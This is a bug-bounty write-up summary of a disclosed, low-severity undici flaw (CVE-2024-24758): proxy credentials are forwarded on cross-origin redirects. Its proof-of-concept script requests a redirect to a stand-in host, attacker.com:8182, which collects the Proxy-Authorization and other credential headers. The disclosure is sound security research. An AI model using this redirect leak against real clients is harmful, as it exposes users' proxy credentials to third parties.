# Proxy-Authorization header is not cleared in cross-domain redirect in undici

Undici cleared Authorization/Cookie on cross-origin redirects but not Proxy-Authorization, leaking proxy credentials to third-party sites via redirect.

- Payout: $405
- Severity: low
- Program: Internet Bug Bounty
- Found by: timon8
- Disclosed: 2024-03-12
- CVE: CVE-2024-24758
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/2390009
- Library page: https://bugbountylibrary.com/r/h1%3A2390009
- Tags: area:oss domain:oss impact:data-leak kind:bounty platform:hackerone sev:low tech:nodejs technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:misconfiguration

**Target:** undici HTTP client (Node.js) redirect handling
**Root cause:** Cross-origin redirect logic stripped Authorization and Cookie headers but omitted Proxy-Authorization from the sensitive-header list, so it was forwarded to the redirect target.
**Steps:**
1. Read GHSA-wqq4-5wpv-mx2g noting only authorization and cookie are cleared on cross-domain redirect.
2. Send `request('http://anysite.com/redirect.php?url=http://attacker.com:8182/vvv', {maxRedirections:3, headers:{'Proxy-Authorization':'xxxxxxxx', ...}})` with undici.
3. Observe attacker.com:8182 receives the Proxy-Authorization header value.
**How found:** Read the prior undici advisory that fixed Authorization/Cookie clearing on cross-origin redirects, noticed Proxy-Authorization was absent from the cleared set, and tested with a redirect to an attacker-controlled host.
**Exploitation:** Attacker controls a redirect endpoint reachable by a victim using undici; victim's Proxy-Authorization credential is forwarded to attacker's server on cross-origin redirect, disclosing proxy credentials.
**Insight:** When a fix adds a denylist of sensitive headers to strip on cross-origin redirect, enumerate the full auth-header family (Proxy-Authorization, WWW-Authenticate, custom auth headers) — incomplete-fix gaps are common.

## Proof of concept (copied exactly from the original report)

**undici request leaking Proxy-Authorization on redirect**

```
import { request } from 'undici'
const {
    statusCode,
    headers,
    body
} = await request('http://anysite.com/redirect.php?url=http://attacker.com:8182/vvv',{
    maxRedirections: 3,
    headers: {
        "autHorization": 'tes123t',
        "coOkie": "ddd=dddd",
        "X-CSRF-Token": 't5k3zni6fbdqbnce58zbkh7c4o',
        'Proxy-Authorization':'xxxxxxxx'
    }})

console.log('response received', statusCode)
console.log('headers', headers)

for await (const data of body) {
    console.log('data', data)
}
```

